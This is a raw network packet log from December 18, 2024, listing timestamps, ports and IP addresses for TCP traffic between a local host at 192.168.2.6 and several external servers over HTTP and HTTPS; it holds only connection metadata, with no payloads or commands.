Dec 18, 2024 11:09:41.667920113 CET	443	49959	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:42.376140118 CET	49953	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:42.376490116 CET	49961	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:42.496041059 CET	80	49953	185.215.113.43	192.168.2.6
Dec 18, 2024 11:09:42.496073008 CET	80	49961	185.215.113.43	192.168.2.6
Dec 18, 2024 11:09:42.496107101 CET	49953	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:42.496181965 CET	49961	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:42.496467113 CET	49961	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:42.615941048 CET	80	49961	185.215.113.43	192.168.2.6
Dec 18, 2024 11:09:42.876195908 CET	443	49959	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:42.876303911 CET	49959	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:42.947921991 CET	49959	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:42.947959900 CET	443	49959	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:42.948676109 CET	443	49959	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:42.968691111 CET	49959	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:42.969101906 CET	49959	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:42.969137907 CET	443	49959	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:43.841182947 CET	80	49961	185.215.113.43	192.168.2.6
Dec 18, 2024 11:09:43.841270924 CET	49961	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:43.844485998 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:43.844774961 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:43.964287996 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:43.964580059 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:43.964713097 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:43.965034962 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:43.965034962 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:44.086668015 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:44.355899096 CET	443	49929	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:44.355941057 CET	443	49929	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:44.355966091 CET	443	49929	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:44.355988979 CET	49929	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:44.356004000 CET	443	49929	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:44.356039047 CET	49929	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:44.356297016 CET	443	49929	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:44.364998102 CET	443	49929	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:44.365025043 CET	443	49929	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:44.365075111 CET	49929	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:44.365084887 CET	443	49929	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:44.365118980 CET	49929	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:44.372966051 CET	443	49929	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:44.381814003 CET	443	49929	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:44.383524895 CET	49929	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:44.383541107 CET	443	49929	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:44.437957048 CET	49929	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:44.475708008 CET	443	49929	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:44.516067982 CET	49929	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:44.516086102 CET	443	49929	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:44.562952042 CET	49929	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:44.572707891 CET	443	49929	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:44.574856997 CET	443	49929	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:44.574884892 CET	443	49929	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:44.574907064 CET	49929	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:44.574917078 CET	443	49929	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:44.574964046 CET	49929	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:44.574970007 CET	443	49929	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:44.574996948 CET	443	49929	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:44.575036049 CET	49929	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:44.576848030 CET	49929	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:44.576870918 CET	443	49929	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:44.576884031 CET	49929	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:44.576891899 CET	443	49929	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:44.792509079 CET	49971	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:44.792551994 CET	443	49971	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:44.792932987 CET	49971	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:44.792932987 CET	49971	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:44.792964935 CET	443	49971	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:45.288681984 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.288764954 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.288820028 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.288899899 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.288914919 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.288937092 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.288942099 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.288971901 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.288980961 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.289026976 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.289061069 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.289069891 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.289096117 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.289128065 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.289136887 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.289167881 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.289189100 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.291093111 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.409763098 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.410120010 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.410218000 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.413341999 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.414558887 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.414630890 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.480437040 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.480560064 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.480676889 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.485064983 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.485253096 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.485784054 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.485840082 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.492491007 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.492619038 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.492681026 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.501007080 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.501611948 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.501657009 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.509587049 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.510154963 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.511545897 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.511708021 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.519002914 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.519140005 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.519200087 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.526698112 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.527302027 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.527391911 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.537475109 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.537491083 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.537571907 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.544639111 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.544656038 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.544711113 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.552606106 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.552741051 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.552793026 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.560129881 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.560184002 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.560327053 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.567128897 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.567291975 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.567347050 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.670855999 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.670911074 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.670983076 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.673842907 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.673885107 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.673955917 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.675546885 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.675720930 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.678450108 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.678550959 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.678941011 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.679495096 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.683182955 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.683244944 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.683454990 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.683502913 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.687974930 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.687988043 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.688060045 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.692773104 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.692909956 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.692955971 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.697676897 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.697690010 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.697751999 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.701786041 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.702078104 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.702130079 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.706298113 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.706609964 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.706665039 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.713267088 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.713577032 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.713630915 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.715533972 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.715651989 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.715696096 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.725121021 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.725133896 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.725146055 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.725157976 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.725178003 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.725223064 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.728653908 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.728719950 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.728851080 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.728887081 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.733062029 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.733103037 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.733314037 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.733350992 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.737663031 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.737674952 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.737719059 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.737747908 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.742089033 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.742172956 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.742723942 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.742918015 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.746428967 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.746510029 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.746867895 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.746901989 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.750821114 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.750890017 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.751174927 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.751210928 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.755374908 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.755518913 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.756176949 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.759526014 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.759711981 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.760246992 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.760294914 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.764250040 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.765703917 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.765760899 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.768838882 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.768970013 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.769017935 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.775506020 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.779541969 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.871088028 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.871104002 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.871146917 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.872840881 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.872852087 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.872888088 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.876038074 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.876055002 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.876081944 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.876099110 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.879270077 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.879304886 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.879498005 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.879563093 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.883310080 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.883327007 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.883369923 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.886348963 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.886362076 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.886418104 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.891544104 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.891556978 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.891598940 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.893536091 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.893585920 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.895503998 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.895747900 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.898505926 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.898516893 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.898550987 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.898576021 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.898952961 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.898994923 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.899329901 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.899401903 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.901513100 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.901560068 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.902596951 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.902664900 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.904598951 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.904654980 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.905127048 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.905261040 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.907490969 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.907541037 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.907944918 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.907984972 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.910484076 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.910619974 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.910643101 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.910727024 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.915515900 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.915528059 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.915592909 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.916845083 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.916855097 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.916888952 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.916907072 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.919457912 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.919507980 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.920526028 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.920564890 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.922656059 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.922667027 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.922708035 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.925827026 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.925837040 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.925905943 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.925905943 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.928867102 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.928949118 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.929466963 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.929507971 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.931691885 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.931705952 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.931740046 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.934644938 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.934885979 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.935323954 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.935365915 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.937666893 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.937776089 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.937896967 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.937968969 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.940726042 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.940762997 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.941154003 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.941196918 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.943820953 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.943833113 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.943861961 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.943890095 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.946908951 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.946974993 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.947019100 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.947057009 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.950653076 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.950665951 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.950699091 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.950725079 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.953372955 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.953413963 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.953552961 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.953596115 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.956608057 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.956625938 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.956670046 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.956670046 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.959517002 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.959527969 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.959559917 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.963511944 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.963524103 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.963562012 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.964683056 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.964875937 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.965218067 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.965256929 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.968168020 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.968179941 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.968240976 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.970792055 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.970942020 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:45.970984936 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:45.971034050 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:46.023807049 CET	443	49971	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:46.023927927 CET	49971	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:46.025273085 CET	49971	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:46.025285006 CET	443	49971	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:46.026010036 CET	443	49971	104.21.23.76	192.168.2.6
